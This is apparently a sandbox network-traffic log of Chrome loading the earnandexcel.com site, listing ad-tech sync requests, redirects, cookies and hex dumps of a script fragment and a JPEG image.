2024-04-11 21:27:01 UTC	1920	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 2c 64 3d 64 6f 63 75 6d 65 6e 74 2c 70 3d 22 75 6e 73 61 66 65 2d 75 72 6c 22 2c 65 2c 73 2c 74 2c 75 3d 5b 22 68 74 74 70 73 3a 2f 2f 73 73 63 2d 63 6d 73 2e 33 33 61 63 72 6f 73 73 2e 63 6f 6d 2f 70 73 2f 3f 5f 3d 31 37 31 32 38 37 30 38 32 31 32 34 33 2e 26 72 69 3d 30 30 31 34 30 30 30 30 30 30 78 76 45 66 77 41 41 45 26 67 64 70 72 5f 35 38 3d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 2d 2d 2d 26 72 75 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 78 63 68 61 6e 67 65 2e 6d 65 64 69 61 76 69 6e 65 Data Ascii: <!doctype html><html><head></head><body><script>(function(){var i,d=document,p="unsafe-url",e,s,t,u=["https://ssc-cms.33across.com/ps/?_=1712870821243.&ri=0014000000xvEfwAAE&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.17	50151	3.223.215.115	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	579	OUT	GET /www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702 HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	261	IN	HTTP/1.1 302 Moved Temporarily Server: awselb/2.0 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html Content-Length: 110 Connection: close Location: https://cdn.lijit.com:443/www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702
2024-04-11 21:27:01 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.17	50152	64.202.112.191	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	784	OUT	GET /usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=&gdpr_consent=&puid=u_a4cb566c-d29c-481c-82f5-d657255d141b&s=2&us_privacy=1--- HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=kW4WCHlLKZTPSmfVrwIg
2024-04-11 21:27:01 UTC	603	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 112 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://usersync.gumgum.com/usersync?b=zem&i=kW4WCHlLKZTPSmfVrwIg&us_privacy=1--- P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=kW4WCHlLKZTPSmfVrwIg; Path=/; Domain=zemanta.com; Expires=Fri, 11 Apr 2025 21:27:01 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 11 Apr 2024 21:27:01 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-11 21:27:01 UTC	112	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 7a 65 6d 26 61 6d 70 3b 69 3d 6b 57 34 57 43 48 6c 4c 4b 5a 54 50 53 6d 66 56 72 77 49 67 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 31 2d 2d 2d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=zem&i=kW4WCHlLKZTPSmfVrwIg&us_privacy=1---">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.17	50135	40.76.134.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	832	OUT	GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%2025F9549E-136A-47E9-9171-DA44C0E0D5E3&rnd=RND HTTP/1.1 Host: us01.z.antigena.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	176	IN	HTTP/1.1 403 Forbidden Server: Microsoft-Azure-Application-Gateway/v2 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html Content-Length: 581 Connection: close
2024-04-11 21:27:01 UTC	581	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 69 63 72 6f 73 6f 66 74 2d 41 7a 75 72 65 2d 41 70 70 6c 69 63 61 74 69 6f 6e 2d 47 61 74 65 77 61 79 2f 76 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Microsoft-Azure-Application-Gateway/v2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.17	50146	34.200.65.202	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	643	OUT	GET /ups/58294/sync?_origin=1&uid=2e900569-927a-06eb-1392-726f7eb2d7a0 HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	593	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58294/sync?_origin=1&uid=2e900569-927a-06eb-1392-726f7eb2d7a0&verify=true Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060; Expires=Sat, 12 Apr 2025 03:27:01 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.17	50137	68.67.160.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	847	OUT	GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dapn%26i%3D%24UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; receive-cookie-deprecation=1; uuid2=3393848220146687847
2024-04-11 21:27:01 UTC	1433	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://usersync.gumgum.com/usersync?b=apn&i=3393848220146687847 AN-X-Request-Uuid: bfd9b518-2506-4f1b-9428-e7087fa064ff Set-Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3393848220146687847; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 639.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.17	50130	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	800	OUT	GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	815	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 0 Connection: close x-amz-rid: 9CHHSBNCY4PWTC3D7EHR Set-Cookie: ad-id=A3c01U0v-EwcgdxAicOV5rk\|t; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:01 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent=&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.17	50110	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	2352	OUT	GET /wp-content/uploads/Power-Query-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:01 UTC	913	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/jpeg Content-Length: 18987 Connection: close CF-Ray: 872e0ee94ef58cc0-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-4a2b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1x8xfKzKTmPhLtCqhvSYIOPu25dOcuFwYGfAkXiDBV8Pnnf4F0%2FDj8T0KHgntpBI1cp9n%2FmsmYGkaj%2BsfocdBHYzxzpSNIZrAJ7wQXS5eFM3OJtFcq%2Fy%2B%2FXJupbBguWO3%2BY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 05 06 07 02 03 04 08 ff c4 00 5b 10 00 01 03 02 02 04 04 0f 09 0b 0a 06 03 01 01 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 91 15 16 17 18 22 52 53 54 61 71 92 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"[!1AQ"RSTaq
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 52 fd 92 37 72 2e 59 61 79 bf 62 a8 8e 9d 73 01 df 8a d5 79 c3 eb 4a 33 8e 3c 77 e2 b5 5e 70 fa d5 ca ea 94 7d 4a 16 d5 ce 5c 95 54 8f 70 3d 8e d4 de 58 f8 c9 0e 69 0a ab 19 bb 1d 3f 8d 2a bc e1 48 73 46 34 ef 85 88 d4 1f 1b ca d0 aa f7 1e cc c3 d5 70 5e ab e6 8c b0 cb 59 a4 ac da e2 aa 5e 99 31 7e ff 00 9f ca 28 19 8b 16 3f 87 cf e5 15 69 6b 16 c5 17 fd 3d 67 c6 8b 74 38 ac 83 8a a8 46 61 c5 87 e1 f3 f9 45 2f 4c b8 b0 fc 3e 7f 2c a7 78 c5 b0 df f4 ed 9f 1a 2d e2 6e 10 cb 85 51 8c cb 8b 0f c3 e7 f2 8a 3a 66 c5 87 e1 f3 f9 45 3b c6 47 61 bf e9 db 7e 34 5c 71 b8 84 e3 45 88 4b 0b 80 da 42 a5 f0 8c 5f 1f c5 eb e3 a1 a4 ae 94 ca fb 9e c9 e6 cd 03 69 25 76 62 f5 59 97 03 05 d3 d7 cc 40 70 69 20 b8 11 71 70 6c 78 8a 57 a8 8c d3 f6 49 2a fe 9d d4 d7 f9 91 9a 4b Data Ascii: R7r.YaybsyJ3<w^p}J\Tp=Xi?HsF4p^Y^1~(?ik=gt8FaE/L>,x-nQ:fE;Ga~4\qEKB_i%vbY@pi qplxWIK
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: eb 5a cd 5f 3b e0 de 54 9e c2 7a d7 c5 2c 29 0b e1 2c c6 1a 2a 06 cd 65 97 0f 6d bc aa dd eb 5a cd 5f 3b e0 de 54 9e c2 3a d6 b3 5f ce d8 37 97 27 b0 99 e3 2b dc 4f 05 66 c5 45 ef 8f 0a 51 51 e1 56 df 5a ce 6c f9 db 06 f2 e4 f6 11 d6 b3 9b 3e 76 c1 bc b9 3d 84 be 32 bd c4 f0 33 d8 a9 45 47 85 28 a8 f0 ab 64 7b 96 b3 6f ce d8 37 97 27 b0 81 ee 5a cd bc 58 b6 0d e5 c9 ec 25 f1 b5 ee 27 81 b3 62 a5 f7 c7 85 64 2a 7c 2a d8 eb 5a cd bf 3a e0 de 5c 9e c2 3a d6 f3 77 ce 98 37 97 27 b0 85 ad af 70 f0 16 6c 55 4d a9 b0 d8 52 fb e0 9e 35 6a 8f 72 e6 6e f9 d3 06 f3 92 7b 0b 21 ee 5e cd c3 f1 a6 0d e7 24 f6 13 96 ba bf 88 6f 80 b3 62 a9 15 27 95 66 2a 5c 38 d5 a6 3d cb f9 b4 7e 33 c1 bc e4 9e c2 5e b6 1c dc 3f 19 60 de 72 4f 61 2a d7 57 f1 0d fc 3e cf 84 ab db 56 47 Data Ascii: Z_;Tz,),emZ_;T:_7'+OfEQQVZl>v=23EG(d{o7'ZX%'bd\|Z:\:w7'plUMR5jrn{!^$ob'f\8=~3^?`rOa*W>VG
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 6e 16 ac 07 40 cd 7d 71 25 cd 85 ac 48 59 62 b8 1e 21 97 eb 9d 41 89 44 21 a9 68 0e 74 61 e1 c5 a0 ee bd 89 b2 b6 74 6a c3 5f 96 f0 aa 9c 56 08 64 c4 28 df 2f 41 c4 af b1 9a cc dd e2 07 ec 0a a6 c5 2a 2b 6b 71 5a ba 8c 44 bc d6 3e 57 19 b5 b7 87 5f 68 fa 14 53 8a 4b 26 46 a6 b8 c6 0a 5b 9b e0 9a 56 b1 a0 3b 65 82 90 52 54 d4 10 3b 3f a8 28 73 f1 88 e9 64 31 3a 27 b8 b4 0d a0 a9 35 1e 23 1d 87 dc df b9 27 a1 91 a8 a2 4a 29 b8 f9 92 2a 59 e7 36 ec fe a0 ad cd 15 39 ef c2 2a cb cd cf 0f fe 90 a9 8a 5c 4a 3e e4 ee 75 71 e8 8e a0 54 60 f5 8e 0d 2d b4 f6 db fe 10 9d 57 bc 2f 02 83 5a e8 e5 7a 3f e0 9d 21 08 56 8e f8 16 b5 b1 6a e3 40 0a 84 97 4a 10 00 94 24 42 00 54 24 05 2a 00 12 82 91 2a 00 c8 21 20 dc 95 00 08 08 42 00 54 21 08 00 b2 10 84 00 21 08 40 02 10 Data Ascii: n@}q%HYb!AD!htatj_Vd(/A+kqZD>W_hSK&F[V;eRT;?(sd1:'5#'J)Y69\J>uqT`-W/Zz?!Vj@J$BT$*! BT!!@
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 32 31 f2 56 43 0e 8f 75 82 45 c2 22 87 ad 5c 91 08 83 06 aa 73 b5 8c 8e b2 78 a3 c2 a7 36 bb 8e c5 24 8e 86 36 1d c1 75 47 4f 1b 77 00 13 67 c2 51 2c 75 ac e5 c3 a8 5c c6 8b 92 b9 73 73 75 32 fe 23 fa b4 9e 89 4f ad 73 18 de 24 c1 9c 25 0e c0 31 20 3b d6 4f 44 ad de 19 4a ab 08 c4 e2 72 76 45 b3 c9 ef de a4 da 2d fe d1 b2 df ed 08 be d5 18 27 69 52 7d 16 ff 00 68 99 6f f6 84 5e 92 e8 ac f7 19 85 57 be 8f 6d 0d e9 56 3b 91 ac 56 19 b8 34 66 cc a7 85 e7 3c 21 f8 4e 2d 1b df 4e e7 07 82 c7 6a b9 ae 1b 88 2a 0c 3d ce 19 24 71 e2 7f bc 0f 65 5a 1a c5 1a c5 18 5e a3 65 08 cb cd 15 80 f7 3a 64 a1 b8 e2 7f bc 0f 65 6c 6f b9 ef 26 b7 71 c4 bc f8 f6 55 95 74 5d 27 2a 1b d1 af 62 ba 66 80 f2 83 77 1c 43 cf 8f 52 97 e5 5c a5 86 64 fa 07 d1 61 6c 91 b1 bd fc 23 dd 23 Data Ascii: 21VCuE"\sx6$6uGOwgQ,u\ssu2#Os$%1 ;ODJrvE-'iR}ho^WmV;V4f<!N-Nj=$qeZ^e:delo&qUt]'bfwCR\dal##
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: cd 06 b1 e8 45 39 66 2c f3 86 13 88 4b 85 62 30 56 c0 d0 e9 61 76 b3 41 e5 53 0e ab 79 84 7f 74 cf fc bd 69 8f 20 b1 af ce 18 53 5c 01 69 9b 68 3e 22 bd 3e dc 17 0f 2d 07 de b1 79 2a 15 07 27 d8 cd d3 57 39 a7 ca f0 79 f7 aa de 61 ee 4c ff 00 c9 72 1c cb 59 9a e6 7b 71 28 db 66 8d 83 6f f1 5e 8e e8 26 1f de b1 79 2a ab d2 4d 2c 34 b8 b3 5b 0c 6d 60 d5 dc 02 6d 95 c9 25 cd be e4 7c 4a bb 6b d3 4e 5c de 84 4a 96 47 d1 45 c1 53 bd d1 30 6d b3 4a dd d1 1a be f8 93 9d 4a 74 6b 85 d1 e2 95 f5 51 d6 42 c9 5a d6 34 80 e1 7b 6f 56 37 49 98 1f 78 45 e4 84 b1 ad bc f2 c5 18 9a 2e 1d aa d4 d2 ad 8d ad 27 f3 65 1e 71 0a a2 2c 6a 24 23 c6 b8 c5 34 42 a0 54 ea fd d8 1b eb f1 dd 5e 95 f9 43 05 8a 8e 57 b2 86 20 e0 d2 41 d5 0a 90 93 e3 3a d6 7c 96 cb 60 38 80 b2 64 a1 cb Data Ascii: E9f,Kb0VavASyti S\ih>">-y'W9yaLrY{q(fo^&yM,4[m`m%\|JkN\JGES0mJJtkQBZ4{oV7IxE.'eq,j$#4BT^CW A:\|`8d
